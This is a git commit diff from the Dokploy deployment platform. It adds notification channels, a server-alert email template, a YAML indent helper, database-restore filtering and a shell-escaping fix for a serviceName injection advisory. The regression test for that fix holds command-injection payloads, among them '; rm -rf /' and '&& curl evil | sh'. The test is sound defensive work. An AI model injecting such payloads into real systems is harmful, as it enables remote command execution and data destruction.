Merge branch 'canary' into feat/vite-tanstack-router

This commit is contained in:
Mauricio Siu 2026-08-10 23:38:20 -06:00
commit f838c07348
10 changed files with 340 additions and 8 deletions

View File

@ -187,6 +187,16 @@ jobs:
with:
version: 10.22.0
- uses: actions/setup-node@v4
with:
node-version: 24.4.0
cache: pnpm
- name: Generate OpenAPI specification
run: |
pnpm install --frozen-lockfile
pnpm generate:openapi
- name: Sync version to MCP repository
run: |
git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo
@ -195,8 +205,8 @@ jobs:
jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp
mv package.json.tmp package.json
cp ${{ github.workspace }}/openapi.json src/generated/openapi.json
pnpm install
pnpm run fetch-openapi
pnpm run generate
git config user.name "Dokploy Bot"

View File

@ -0,0 +1,57 @@
import { execSync } from "node:child_process";
import {
getRestoreCommand,
stripDatabaseSwitchCommand,
} from "@dokploy/server/utils/restore/utils";
import { describe, expect, it } from "vitest";
const filter = (input: string) =>
execSync(stripDatabaseSwitchCommand, {
input,
shell: "/bin/bash",
}).toString();
describe("restore drops database-switch statements (mysql/mariadb)", () => {
const dump = [
"-- MariaDB dump",
"CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;",
"USE `production_db`;",
"use production_db;",
"DROP TABLE IF EXISTS `users`;",
"CREATE TABLE `users` (`id` int NOT NULL);",
"INSERT INTO `users` VALUES (1),(2);",
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
].join("\n");
it("removes USE and CREATE DATABASE lines but keeps everything else", () => {
const result = filter(dump);
expect(result).not.toContain("USE `production_db`");
expect(result).not.toContain("use production_db");
expect(result).not.toContain("CREATE DATABASE /*!32312");
expect(result).toContain("DROP TABLE IF EXISTS `users`;");
expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);");
expect(result).toContain("INSERT INTO `users` VALUES (1),(2);");
expect(result).toContain(
"INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');",
);
});
it("is wired into mysql and mariadb restore pipelines only", () => {
const base = {
appName: "my-app",
restoreType: "database" as const,
credentials: {
database: "dev_db",
databaseUser: "u",
databasePassword: "p",
},
rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip",
};
for (const type of ["mysql", "mariadb"] as const) {
const cmd = getRestoreCommand({ ...base, type });
expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`);
}
const pgCmd = getRestoreCommand({ ...base, type: "postgres" });
expect(pgCmd).not.toContain(stripDatabaseSwitchCommand);
});
});

View File

@ -0,0 +1,68 @@
import { parse } from "shell-quote";
import { describe, expect, it, vi } from "vitest";
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
// "exists" but does not contain the attacker's service, forcing the error path
// whose message embeds the user-controlled serviceName.
vi.mock("node:fs", async (importOriginal) => {
const actual = await importOriginal<typeof import("node:fs")>();
return {
...actual,
existsSync: () => true,
readFileSync: () => "services:\n web:\n image: nginx\n",
};
});
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
const baseCompose = {
appName: "my-app",
serverId: null,
composeType: "docker-compose",
sourceType: "raw",
composePath: "docker-compose.yml",
isolatedDeployment: false,
randomize: false,
suffix: "",
} as any;
const makeDomain = (serviceName: string) =>
({
host: "example.com",
serviceName,
https: false,
uniqueConfigKey: 1,
port: 3000,
}) as any;
// If the returned shell fragment is safe, parse() yields only string tokens.
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
const leaksShellSyntax = (command: string, marker: string) =>
parse(command).some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
it("does not let a malicious serviceName inject shell operators", async () => {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain("$(touch /tmp/pwned)"),
]);
// The service does not exist in the compose, so we hit the error branch.
expect(result).toContain("Has occurred an error");
// The payload text may appear inside the single-quoted echo argument, but
// it must never parse as a shell operator ($(), backtick, ; …).
expect(leaksShellSyntax(result, "touch")).toBe(false);
});
it("neutralizes backtick and semicolon payloads too", async () => {
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain(`svc${payload}`),
]);
expect(leaksShellSyntax(result, "rm")).toBe(false);
expect(leaksShellSyntax(result, "curl")).toBe(false);
expect(leaksShellSyntax(result, "id")).toBe(false);
}
});
});

View File

@ -76,7 +76,7 @@ export const MariadbIcon = ({ className }: Props) => {
>
<path
d="M38.1637 8.19202C38.0639 8.10928 37.9372 8.0659 37.8075 8.07003C37.4539 8.07003 36.9964 8.314 36.7512 8.43598L36.6524 8.486C36.2404 8.68747 35.7917 8.80285 35.3337 8.8251C34.8629 8.83973 34.4567 8.8678 33.9309 8.92147C30.8009 9.2435 29.4115 11.6392 28.0685 13.9557C27.3365 15.2157 26.5827 16.5173 25.5472 17.5273C25.333 17.735 25.1052 17.9282 24.8652 18.1055C23.7942 18.9045 22.4487 19.468 21.3974 19.8705C20.3897 20.256 19.2894 20.6025 18.2257 20.9367C17.2499 21.2442 16.3338 21.5332 15.4885 21.8467C15.1067 21.9893 14.7822 22.0907 14.4968 22.1918C13.7271 22.4493 13.1708 22.6335 12.3609 23.1885C12.0449 23.4043 11.7278 23.6398 11.507 23.8155C10.8638 24.3293 10.2945 24.9295 9.81509 25.5988C9.40495 26.2163 8.93065 26.7888 8.4001 27.3067C8.22932 27.475 7.92559 27.5505 7.47059 27.5505C6.93754 27.5505 6.29102 27.4408 5.6067 27.3248C4.90287 27.2028 4.17342 27.081 3.54887 27.081C3.0402 27.081 2.6523 27.1627 2.36077 27.3322C2.36077 27.3322 1.87284 27.6177 1.66669 27.986L1.86917 28.0775C2.18275 28.2468 2.47374 28.455 2.73525 28.6972C3.00602 28.9482 3.3082 29.1632 3.63425 29.3363C3.7385 29.3782 3.83284 29.4413 3.91115 29.5218C3.82577 29.6438 3.70012 29.8072 3.5696 29.9792C2.84747 30.9233 2.42664 31.521 2.66815 31.8455C2.78092 31.9047 2.90685 31.934 3.0341 31.931C4.60767 31.931 5.45179 31.5223 6.52157 31.0038C6.83507 30.8623 7.15587 30.7075 7.52182 30.5488C8.14637 30.278 8.81972 29.845 9.53209 29.3877C10.4762 28.7777 11.4521 28.1532 12.3975 27.8507C13.1762 27.6123 13.9875 27.4978 14.8017 27.5115C15.8056 27.5115 16.8547 27.647 17.8695 27.7762C18.627 27.8738 19.4102 27.9738 20.1787 28.0202C20.4775 28.0373 20.7544 28.0458 21.0229 28.0458C21.3825 28.047 21.7422 28.0283 22.0999 27.9897L22.1854 27.9592C22.7245 27.6287 22.977 26.9175 23.2222 26.2295C23.3795 25.7867 23.5112 25.3903 23.7162 25.1317C23.729 25.1195 23.743 25.1085 23.7577 25.0987C23.7674 25.0933 23.7787 25.0913 23.7899 25.093C23.8009 25.0948 23.811 25.1003 23.8187 25.1085C23.8187 25.1085 23.8187 25.1085 23.8187 25.128C23.6894 27.8177 22.611 29.5193 21.5157 31.0417L20.7837 31.826C20.7837 31.826 21.8072 31.826 22.389 31.6015C24.5139 30.966 26.1192 29.5657 27.2865 27.3322C27.5745 26.7592 27.8319 26.1712 28.0575 25.5708C28.077 25.5208 28.2624 25.428 28.2442 25.6928C28.2442 25.7697 28.2332 25.855 28.227 25.9367C28.227 25.9892 28.2197 26.0428 28.2174 26.0965C28.1869 26.4685 28.0954 27.2652 28.0954 27.2652L28.7515 26.9127C30.3374 25.9098 31.5572 23.896 32.4794 20.7562C32.8649 19.4485 33.1465 18.1507 33.3954 17.004C33.693 15.6341 33.9505 14.4509 34.2494 13.9935C34.7104 13.2762 35.4142 12.7895 36.0949 12.3199L36.373 12.1259C37.2269 11.5258 38.0807 10.8305 38.2687 9.53748V9.50942C38.4102 8.55065 38.2942 8.30423 38.1637 8.19202Z"
fill="#231F20"
fill="#c2bfbf"
/>
</svg>
);

View File

@ -8,7 +8,11 @@ import {
import { css } from "@codemirror/lang-css";
import { json } from "@codemirror/lang-json";
import { yaml } from "@codemirror/lang-yaml";
import { StreamLanguage } from "@codemirror/language";
import {
getIndentUnit,
indentService,
StreamLanguage,
} from "@codemirror/language";
import { properties } from "@codemirror/legacy-modes/mode/properties";
import { shell } from "@codemirror/legacy-modes/mode/shell";
import { search, searchKeymap } from "@codemirror/search";
@ -99,6 +103,27 @@ const dockerComposeServiceOptions = [
},
}));
// The indentNodeProp shipped with @codemirror/lang-yaml computes wrong
// column-based indents on Enter (odd/inconsistent amounts, see #4650), so
// indentation is resolved line-based here: keep the current indent, align
// list-entry keys after the dash marker, and go one unit deeper after a
// line that opens a block (ending in ":", "|" or ">").
const yamlIndent = indentService.of((context, pos) => {
const line = context.state.doc.lineAt(pos);
const before = context.state.doc.sliceString(line.from, pos);
const indent = /^ */.exec(before)?.[0].length ?? 0;
const trimmed = before.trim();
if (!trimmed || trimmed.startsWith("#")) {
return indent;
}
const base =
trimmed.startsWith("- ") && /:\s/.test(trimmed) ? indent + 2 : indent;
if (/[:|>]$/.test(trimmed)) {
return base + getIndentUnit(context.state);
}
return base;
});
function dockerComposeComplete(
context: CompletionContext,
): CompletionResult | null {
@ -163,7 +188,7 @@ export const CodeEditor = ({
search(),
keymap.of(searchKeymap),
language === "yaml"
? yaml()
? [yamlIndent, yaml()]
: language === "json"
? json()
: language === "css"

View File

@ -535,7 +535,7 @@ export const notificationRouter = createTRPCRouter({
}
organizationId = result?.[0]?.organizationId;
ServerName = "Remote";
ServerName = result?.[0]?.name ?? "Remote";
}
await sendServerThresholdNotifications(organizationId, {

View File

@ -0,0 +1,91 @@
import {
Body,
Container,
Head,
Heading,
Html,
Img,
Preview,
Section,
Tailwind,
Text,
} from "@react-email/components";
import { emailTailwindConfig } from "../tailwind-config";
export type TemplateProps = {
serverName: string;
type: "CPU" | "Memory";
value: string;
threshold: string;
message: string;
date: string;
};
export const ServerThresholdEmail = ({
serverName = "my-server",
type = "CPU",
value = "95.00",
threshold = "90.00",
message = "Resource usage exceeded the configured threshold",
date = "2023-05-01T00:00:00.000Z",
}: TemplateProps) => {
const previewText = `Server ${type} alert for ${serverName} ⚠️`;
return (
<Html>
<Preview>{previewText}</Preview>
<Tailwind config={emailTailwindConfig}>
<Head />
<Body className="bg-white my-auto mx-auto font-sans px-2">
<Container className="border border-solid border-[#eaeaea] rounded-lg my-[40px] mx-auto p-[20px] max-w-[465px]">
<Section className="mt-[32px]">
<Img
src={
"https://raw.githubusercontent.com/Dokploy/dokploy/refs/heads/canary/apps/dokploy/logo.png"
}
width="100"
height="50"
alt="Dokploy"
className="my-0 mx-auto"
/>
</Section>
<Heading className="text-black text-[24px] font-normal text-center p-0 my-[30px] mx-0">
Server {type} alert for <strong>{serverName}</strong>
</Heading>
<Text className="text-black text-[14px] leading-[24px]">
Hello,
</Text>
<Text className="text-black text-[14px] leading-[24px]">
The {type} usage on <strong>{serverName}</strong> exceeded the
configured threshold.
</Text>
<Section className="flex text-black text-[14px] leading-[24px] bg-[#F4F4F5] rounded-lg p-2">
<Text className="!leading-3 font-bold">Details: </Text>
<Text className="!leading-3">
Server Name: <strong>{serverName}</strong>
</Text>
<Text className="!leading-3">
Type: <strong>{type}</strong>
</Text>
<Text className="!leading-3">
Current Value: <strong>{value}%</strong>
</Text>
<Text className="!leading-3">
Threshold: <strong>{threshold}%</strong>
</Text>
<Text className="!leading-3">
Date: <strong>{date}</strong>
</Text>
</Section>
<Section className="flex text-black text-[14px] mt-4 leading-[24px] bg-[#F4F4F5] rounded-lg p-2">
<Text className="!leading-3 font-bold">Message: </Text>
<Text className="text-[12px] leading-[24px]">{message}</Text>
</Section>
</Container>
</Body>
</Tailwind>
</Html>
);
};
export default ServerThresholdEmail;

View File

@ -6,6 +6,7 @@ import { network, patch } from "@dokploy/server/db/schema";
import type { Compose } from "@dokploy/server/services/compose";
import type { Domain } from "@dokploy/server/services/domain";
import { eq, inArray } from "drizzle-orm";
import { quote } from "shell-quote";
import { parse, stringify } from "yaml";
import { execAsyncRemote } from "../process/execAsync";
import { cloneBitbucketRepository } from "../providers/bitbucket";
@ -128,8 +129,11 @@ exit 1;
const encodedContent = encodeBase64(composeString);
return `echo "${encodedContent}" | base64 -d > "${path}";`;
} catch (error) {
// @ts-ignore
return `echo "❌ Has occurred an error: ${error?.message || error}";
const message =
error instanceof Error ? error.message : String(error ?? "");
// The error message embeds user-controlled fields (e.g. serviceName) and is
// executed as part of the compose build shell script, so it must be escaped.
return `echo ${quote([`❌ Has occurred an error: ${message}`])};
exit 1;
`;
}

View File

@ -1,12 +1,18 @@
import { render } from "@react-email/components";
import { and, eq } from "drizzle-orm";
import { db } from "../../db";
import { notifications } from "../../db/schema";
import ServerThresholdEmail from "../../emails/emails/server-threshold";
import {
sendCustomNotification,
sendDiscordNotification,
sendEmailNotification,
sendGotifyNotification,
sendLarkNotification,
sendMattermostNotification,
sendNtfyNotification,
sendPushoverNotification,
sendResendNotification,
sendSlackNotification,
sendTeamsNotification,
sendTelegramNotification,
@ -39,6 +45,9 @@ export const sendServerThresholdNotifications = async (
discord: true,
telegram: true,
slack: true,
resend: true,
gotify: true,
ntfy: true,
mattermost: true,
custom: true,
lark: true,
@ -52,9 +61,13 @@ export const sendServerThresholdNotifications = async (
for (const notification of notificationList) {
const {
email,
discord,
telegram,
slack,
resend,
gotify,
ntfy,
mattermost,
custom,
lark,
@ -63,6 +76,64 @@ export const sendServerThresholdNotifications = async (
} = notification;
try {
if (email || resend) {
const template = await render(
ServerThresholdEmail({
serverName: payload.ServerName,
type: payload.Type,
value: payload.Value.toFixed(2),
threshold: payload.Threshold.toFixed(2),
message: payload.Message,
date: date.toLocaleString(),
}),
);
if (email) {
await sendEmailNotification(
email,
`Server ${payload.Type} alert for ${payload.ServerName}`,
template,
);
}
if (resend) {
await sendResendNotification(
resend,
`Server ${payload.Type} alert for ${payload.ServerName}`,
template,
);
}
}
if (gotify) {
const decorate = (decoration: string, text: string) =>
`${gotify.decoration ? decoration : ""} ${text}\n`;
await sendGotifyNotification(
gotify,
decorate("⚠️", `Server ${payload.Type} Alert`),
`${decorate("🏷️", `Server: ${payload.ServerName}`)}` +
`${decorate("📊", `Current Value: ${payload.Value.toFixed(2)}%`)}` +
`${decorate("⚠️", `Threshold: ${payload.Threshold.toFixed(2)}%`)}` +
`${decorate("📜", `Message: ${payload.Message}`)}` +
`${decorate("🕒", `Date: ${date.toLocaleString()}`)}`,
);
}
if (ntfy) {
await sendNtfyNotification(
ntfy,
`Server ${payload.Type} Alert`,
"warning",
"",
`🏷Server: ${payload.ServerName}\n` +
`📊Current Value: ${payload.Value.toFixed(2)}%\n` +
`Threshold: ${payload.Threshold.toFixed(2)}%\n` +
`📜Message: ${payload.Message}\n` +
`🕒Date: ${date.toLocaleString()}`,
);
}
if (discord) {
const decorate = (decoration: string, text: string) =>
`${discord.decoration ? decoration : ""} ${text}`.trim();

View File

@ -79,6 +79,10 @@ const generateRestoreCommand = (
}
};
// Dumps taken with `--databases` carry `USE`/`CREATE DATABASE` statements that
// would redirect the restore away from the database selected in the dialog.
export const stripDatabaseSwitchCommand = `grep -viE '^[[:space:]]*(use|create[[:space:]]+database)[[:space:]]'`;
const getMongoSpecificCommand = (
rcloneCommand: string,
restoreCommand: string,
@ -125,7 +129,9 @@ export const getRestoreCommand = ({
const restoreCommand = generateRestoreCommand(type, credentials);
let cmd = `CONTAINER_ID=$(${containerSearch})`;
if (type !== "mongo") {
if (type === "mysql" || type === "mariadb") {
cmd += ` && ${rcloneCommand} | ${stripDatabaseSwitchCommand} | ${restoreCommand}`;
} else if (type !== "mongo") {
cmd += ` && ${rcloneCommand} | ${restoreCommand}`;
} else {
cmd += ` && ${getMongoSpecificCommand(rcloneCommand, restoreCommand, backupFile || "")}`;